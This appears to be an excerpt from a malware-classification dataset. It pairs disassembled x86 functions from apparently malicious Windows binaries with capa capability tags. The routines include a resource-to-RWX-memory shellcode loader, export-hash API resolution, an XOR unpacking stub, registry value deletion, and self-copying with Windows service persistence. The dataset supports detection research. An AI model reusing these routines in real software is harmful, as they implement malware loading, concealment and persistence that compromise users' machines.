joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401371
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401390
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401384
add esi, 0x10000
push esi
mov eax, 0x40300c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012d9
mov dword [0x4030fe], eax
push 0x403010
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013d4
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013e5
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4013f9
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x401407
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x401423
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.00401165
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401476
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014ec
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b88
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x4012a4
push dword [ebp + 0xc]
call fcn.00401272
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401757
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x480428
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x480447
cmp eax, dword [esp + 0x28]
je 0x48045e
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x48043e
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
mov dword [esp + 0x1c], edx
popal
ret 8
Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
nop
pop eax
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x409352
Capabilities:
Write file on windows

Disassembly:
push 0x4c
mov eax, 0x42e307
call fcn.00414ac6
mov esi, ecx
xor edi, edi
cmp dword [esi + 0x3c], edi
je 0x40945a
cmp byte [esi + 0x41], 0
je 0x40945a
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 4]
cmp eax, 0xffffffff
jne 0x409388
xor al, al
jmp 0x40945c
push edi
push 8
lea ecx, [ebp - 0x30]
call fcn.004091e9
mov dword [ebp - 4], edi
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x30]
call fcn.00407887
mov ecx, eax
call fcn.004079b4
mov edi, dword [ebp - 0x1c]
mov ebx, eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x30]
call fcn.00407887
mov ecx, eax
call fcn.004079b4
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x34]
push eax
add edi, ebx
push edi
push dword [ebp - 0x38]
lea eax, [esi + 0x44]
push eax
call dword [edx + 0x18]
sub eax, 0
je 0x4093f4
dec eax
je 0x4093f8
dec eax
dec eax
je 0x409456
xor bl, bl
lea ecx, [ebp - 0x30]
call fcn.00403f30
mov al, bl
jmp 0x40945c
mov byte [esi + 0x41], 0
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x30]
call fcn.00407887
mov ecx, eax
call fcn.004079b4
mov edi, dword [ebp - 0x34]
sub edi, eax
je 0x409438
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x30]
call fcn.00407887
mov ecx, eax
call fcn.004079b4
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.004141a4
add esp, 0x10
cmp edi, eax
jne 0x4093e6
cmp byte [esi + 0x41], 0
je 0x409456
test edi, edi
jne 0x409396
push edi
push 8
lea ecx, [ebp - 0x30]
call fcn.00407a87
jmp 0x409396
mov bl, 1
jmp 0x4093e8
mov al, 1
call fcn.00414b49
ret

Function at 0x411230
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42d9d0
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x43b2e8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov edi, dword [ebp + 8]
push edi
call fcn.00412d3e
xor ebx, ebx
mov dword [ebp - 4], ebx
push 0xffffffffffffffff
lea ecx, [esi + 0xc]
mov dword [esi], 0x430390
lea eax, [edi + 0xc]
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00404370
mov dword [ebp - 4], 1
mov dword [esi], 0x432844
mov eax, dword [edi + 0x28]
mov dword [esi + 0x28], eax
mov ecx, dword [edi + 0x2c]
mov dword [esi + 0x2c], ecx
push 0xffffffffffffffff
lea ecx, [esi + 0x30]
lea eax, [edi + 0x30]
push ebx
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00404370
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x42a8ee
Capabilities:
Check os version
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42d50c
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x43b2e8]
xor eax, esp
mov dword [esp + 0x84], eax
push ebx
push esi
mov eax, dword [0x43b2e8]
xor eax, esp
push eax
lea eax, [esp + 0x98]
mov dword fs:[0], eax
lea eax, [esp + 0x1c]
push eax
mov ebx, ecx
mov esi, edx
call dword [0x430088]
movsx eax, byte [ebx + str.____]
push eax
movzx eax, word [esp + 0x2c]
push eax
movzx eax, word [esp + 0x2e]
push eax
movzx eax, word [esp + 0x30]
push eax
movzx eax, word [esp + 0x32]
push eax
movzx eax, word [esp + 0x32]
push eax
movzx eax, word [esp + 0x34]
push eax
lea eax, [esp + 0x90]
push str._.4d__.2d__.2d__.2d:_.2d:_.2d__c
push eax
call fcn.0042c624
add esp, 0x24
and dword [esp + 0xa0], 0
push esi
lea ecx, [esp + 0x5c]
call fcn.00404170
mov byte [esp + 0xa0], 1
cmp ebx, 5
jne 0x42a9e2
push 3
pop ebx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x28], esp
push esi
call fcn.00404170
lea eax, [esp + 0x58]
push eax
call fcn.0042a375
add esp, 0x20
push 0xffffffffffffffff
push 0
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0xac], 2
call fcn.00404a10
lea ecx, [esp + 0x3c]
mov byte [esp + 0xa0], 1
call fcn.00410090
mov dword [esp + 0x34], fcn.0040fb10
mov dword [esp + 0x38], edi
test edi, edi
je 0x42a9f9
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 4]
mov byte [esp + 0xa0], 3
mov ecx, dword [edi + 0x34]
mov eax, dword [ecx + 4]
jmp 0x42aa17
cmp ebx, dword [eax + 0xc]
jge 0x42aa14
mov ecx, eax
mov eax, dword [eax]
jmp 0x42aa17
mov eax, dword [eax + 8]
cmp byte [eax + 0x15], 0
je 0x42aa09
mov eax, dword [edi + 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [edi + 0x34]
mov eax, dword [eax]
mov dword [esp + 0x18], eax
mov eax, dword [edi + 0x1c]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov esi, dword [esp + 0xc]
test esi, esi
je 0x42aa46
cmp esi, dword [esp + 0x14]
je 0x42aa4b
call fcn.0041305a
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x18]
je 0x42aab8
mov dword [esp + 0x2c], esi
lea esi, [esp + 0x2c]
mov dword [esp + 0x30], eax
call fcn.00409ddf
mov esi, eax
call fcn.00409bef
mov esi, dword [eax + 4]
push 1
push 0xfde9
lea edx, [esp + 0x60]
lea ecx, [esp + 0x44]
call fcn.00429c1a
pop ecx
pop ecx
push eax
lea eax, [esp + 0x78]
push eax
mov byte [esp + 0xa8], 4
mov edx, dword [esi]
push ebx
mov ecx, esi
call dword [edx + 4]
lea ecx, [esp + 0x3c]
mov byte [esp + 0xa0], 3
call fcn.00403f30
lea esi, [esp + 0xc]
call fcn.00409ddf
jmp 0x42aa38
mov byte [esp + 0xa0], 1
test edi, edi
je 0x42aacb
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0xc]
lea ecx, [esp + 0x58]
call fcn.00410090
lea ecx, [esp + 0x74]
call fcn.00403f30
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [esp + 0x84]
xor ecx, esp
call fcn.00412c51
mov esp, ebp
pop ebp
ret
Function at 0x42b727
Capabilities:
Hash data with md5

Disassembly:
push 4
mov eax, 0x42d160
call fcn.00414a5d
mov esi, dword [ebp + 8]
and dword [esi + 0x10], 0
and dword [esi + 0x14], 0
lea eax, [esi + 0x18]
push eax
call fcn.00407984
and dword [ebp - 4], 0
mov eax, dword [ebp + 0xc]
push esi
mov byte [esi + 0x30], 0
mov dword [esi], 0x67452301
mov dword [esi + 4], 0xefcdab89
mov dword [esi + 8], 0x98badcfe
mov dword [esi + 0xc], 0x10325476
call fcn.0042b705
mov eax, esi
call fcn.00414b35
ret 8

Function at 0x42bcb6
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42d341
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x43b2e8]
xor eax, esp
mov dword [esp + 0x40], eax
push ebx
mov eax, dword [0x43b2e8]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
and dword [esp + 0xc], 0
push 0
lea ebx, [esp + 0x30]
mov dword [esp + 0xc], eax
call fcn.00429e97
pop ecx
mov edx, dword [esp + 8]
xor ebx, ebx
push edi
lea ecx, [esp + 0x14]
mov dword [esp + 0x5c], ebx
call fcn.0042bb12
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x64], 1
call fcn.00404a10
lea ecx, [esp + 0x10]
mov byte [esp + 0x58], bl
call fcn.00410090
push 1
push ebx
lea edx, [esp + 0x34]
mov ecx, esi
call fcn.00429c1a
pop ecx
pop ecx
lea ecx, [esp + 0x2c]
call fcn.00410090
mov eax, esi
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [esp + 0x40]
xor ecx, esp
call fcn.00412c51
mov esp, ebp
pop ebp
ret 4
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push 0x40f244
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c438
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str._W_iEgU
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str.MIUaoMc_MckUAMcYAMaa
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401284
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
lea eax, [ebp + 0xc]
push esi
and dword [ebp - 4], 0
push eax
push dword [ebp + 0xc]
mov esi, 0x400
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012b8
xor eax, eax
jmp 0x4013a4
push ebx
push edi
mov edi, 0x40f967
push 0
push edi
call fcn.00403464
pop ecx
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 8]
xor ebx, ebx
push eax
lea eax, [ebp - 0x814]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x414]
mov dword [ebp - 0xc], esi
push eax
mov dword [ebp - 8], esi
push dword [ebp - 4]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x401397
cmp dword [ebp - 0x10], 1
je 0x40130f
and byte [ebp - 0x814], al
lea eax, [ebp - 0x414]
push eax
call fcn.0040c438
lea eax, [ebp - 0x814]
push eax
call fcn.0040c438
cmp dword [ebp + 8], 0
pop ecx
pop ecx
jle 0x40138f
push ebx
push edi
call fcn.00403434
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
jne 0x401379
push dword [ebp - 0x14]
lea eax, [ebp - 0x814]
push eax
call fcn.00403b7d
pop ecx
test eax, eax
pop ecx
jne 0x401379
lea eax, [ebp - 0x414]
push str.____
push eax
call fcn.004072d0
pop ecx
test eax, eax
pop ecx
jne 0x401389
lea eax, [ebp - 0x414]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x40132f
inc dword [ebp - 4]
jmp 0x4012cc
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret 8
Function at 0x4048ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e98], 0
jne 0x40492a
push 4
push 0x40f244
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x404821
push eax
push closesocket
call fcn.00404586
add esp, 0x18
jmp 0x404966
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a88
call fcn.004073c0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x40478d
push eax
push closesocket
call fcn.00404604
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e9c], eax
jne 0x404a47
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str._U_Q
push eax
call fcn.004073c0
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.004074b0
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c61c
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073c0
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.004073d0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a24
inc esi
cmp esi, 0xa
jl 0x40498b
lea eax, [ebp - 0x18]
push eax
push 0x491984
call fcn.004073d0
lea eax, [ebp - 0x418]
push eax
push 0x491b8c
call fcn.004073c0
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b9c
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bd7
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bd7
cmp byte [ecx + 1], 0x5a
jne 0x404bd7
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bd7
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4050fd
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.004074b0
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.004046ab
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405153
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x4051ae
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051dd
xor eax, eax
jmp 0x4052eb
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052e0
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405095
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.004074b0
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.004073c0
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405095
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x4052b3
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str.Ec
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053e8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.004046ab
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d94
call fcn.00407360
push esi
push edi
push 0x491c90
call fcn.00407360
push esi
push edi
push 0x491b8c
call fcn.00407360
push esi
push edi
push 0x491a88
call fcn.00407360
push esi
push edi
push 0x491984
call fcn.00407360
add esp, 0x40
push 0x40e0d0
push 0x1ebc
push 0x40e0d4
call fcn.00403529
push 0x491ea0
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491ea8], edi
mov dword [0x491e98], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x4054a8
cmp dword [ebp - 0x8c], ebx
jne 0x4054a8
mov dword [0x491ea8], ebx
call fcn.004048ef
mov esi, 0x7d000
push esi
call fcn.00407bff
cmp eax, edi
pop ecx
mov dword [0x491980], eax
jne 0x4054c6
xor eax, eax
jmp 0x4054ea
push esi
push edi
push eax
call fcn.00407360
call fcn.004055a8
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.0040530f
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4055a8
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str._W_iEgU
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.MIUaoMc_MckUAMcYAMaa
je 0x40560d
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491eb0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491eac], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491eb4], eax
push 3
push str._W_iEgU
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x405637
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491eb8], eax
mov edi, str.iU_U_Mo
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x405658
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491ebc], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40686a
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fd8
call fcn.00407bd0
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b8c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x40690d
push 0x1ed0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407870
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054ef
push 0x13000
push esi
call fcn.00404e9c
push ebx
call fcn.004046ab
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e98], ebx
mov edi, 0x491984
je 0x406964
push esi
push edi
push 0x491a88
push closesocket
call fcn.00404540
push 1
push str._W_iEgU
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.MIUaoMc_MckUAMcYAMaa
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40695d
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x40696e
xor eax, eax
jmp 0x4069e3
cmp dword [0x491e98], ebx
je 0x406981
push ebx
push esi
call fcn.004046d7
pop ecx
pop ecx
jmp 0x4069e0
cmp dword [0x491ea0], ebx
jne 0x4069e0
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fd8
ret